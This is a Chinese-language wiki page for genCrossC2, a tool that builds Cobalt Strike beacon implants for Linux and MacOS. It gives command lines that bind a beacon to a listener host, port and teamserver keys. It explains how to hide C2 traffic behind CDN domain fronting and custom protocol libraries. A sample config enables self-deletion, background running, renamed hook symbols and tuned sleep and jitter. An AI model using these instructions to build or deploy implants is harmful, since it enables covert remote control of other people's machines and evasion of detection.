Skip to content

genCrossC2_zh

hooooooooooook edited this page Aug 2, 2023 · 1 revision

genCrossC2

CLI生成

  • 当teamserver配置了c2profile时,可选择:

      1. 自动解析c2profile (推荐🔥)
      1. 生成c2profile对应的rebind库
  • 当使用域前置等转发方式时, 除了(自解析c2profile)/(指定rebind库)外,生成时同样需要注意C2_HOST字段:

    • 服务商使用HTTP请求内容进行校验类型时,需指定CDN IP列表: genCrossC2 1.1.1.1,2.2.2.2,3.3.3.3,xxx.xxx.xxx.xx ...
    • 当CDN服务器通过SNI进行校验时,如Cloudflare等CDN运行商,需指定CDN绑定的域名: genCrossC2 c2.domain.com ...

整体命令为: genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

<listener-ip/domain>: 是C2连接的HOST

<listener-port>: 是C2连接的PORT

<beacon_keys>: 是teamserver上的隐藏文件`.cobaltstrike.beacon_keys`

<rebind_library;config.ini;c2profile.profile>: 是由;符号分割的多个配置参数,忽略的参数可用`null`或者``代替
    <rebind_library>: 是用于自定义协议的动态库
    <config.ini>: 是用于控制beacon行为的深度配置,例如函数符号更改,启动自删除,后台模式运行,sleep时间等
    <c2profile.profile>: 是用于需要自动解析的c2profile

<target_platform>: 目标生成平台 MacOS/Linux
<target_arch>: 目标平台架构 x86/x64

1. 自动解析c2profile (推荐🔥)

可直接传入c2profile进行自动解析,无须自己实现rebind库等 $ genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

c2profile.profile中存在多个可用章节时,可使用@符号选择需要解析的部分

$ genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile@unix-section" Linux x64 beacon.out

2. 使用自定义协议动态库

同样可自己编写发包流量封装的函数,内部需自己实现相关加解密函数

1. rebind库相关介绍

2. rebind库自动生成

借助 CrossC2/autoRebind 可以自动解析Malleable C2 profile配置,生成rebind库的源码

支持了CobaltStrike所有的编解码算法: base64, base64url, mask, netbios, netbiosu

3 config.ini 深度配置

在之前的所有用法上新增了 config.ini 配置

1. genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys null;config.ini MacOS x64 beacon.out
2. genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so;config.ini MacOS x64 beacon.out
3. genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys ;config.ini;c2profile.profile MacOS x64 beacon.out

config.ini 示例:

# 配置 beacon 本身hook的函数符号以及全局配置
[c2_config]
# hook函数
# 初始化 阶段 void cc2_init() {}
cc2_init = aa1
# 错误重连 阶段,传入重连次数 void cc2_retryConnect(int retryCount) {}
cc2_retryConnect = bb

# 协议重绑定库的函数名称自定义
cc2_rebind_get_protocol = cc
cc2_rebind_post_protocol = dd
cc2_rebind_http_get_send = ee3
cc2_rebind_http_get_recv = ff
cc2_rebind_http_post_send = gg
cc2_rebind_http_post_recv = hh

# 一些全局配置
# 运行后是否需要自删除
cc2_auto_delete = false
# 是否需要后台运行
cc2_daemon = false
# sleep时间 (10sec)
sleeptime = 10
# 心跳抖动时间
jitter = 37
# 数据提交抖动时间
data_jitter = 100
# 创建任务的pipe名称(默认 joblist)
job_pipe_name = joblist
# 运行任务的pipe名称(默认 .syspipe)
process_pipe_name = sys_pipe
# 请求的dns服务
dns_server = 8.8.8.8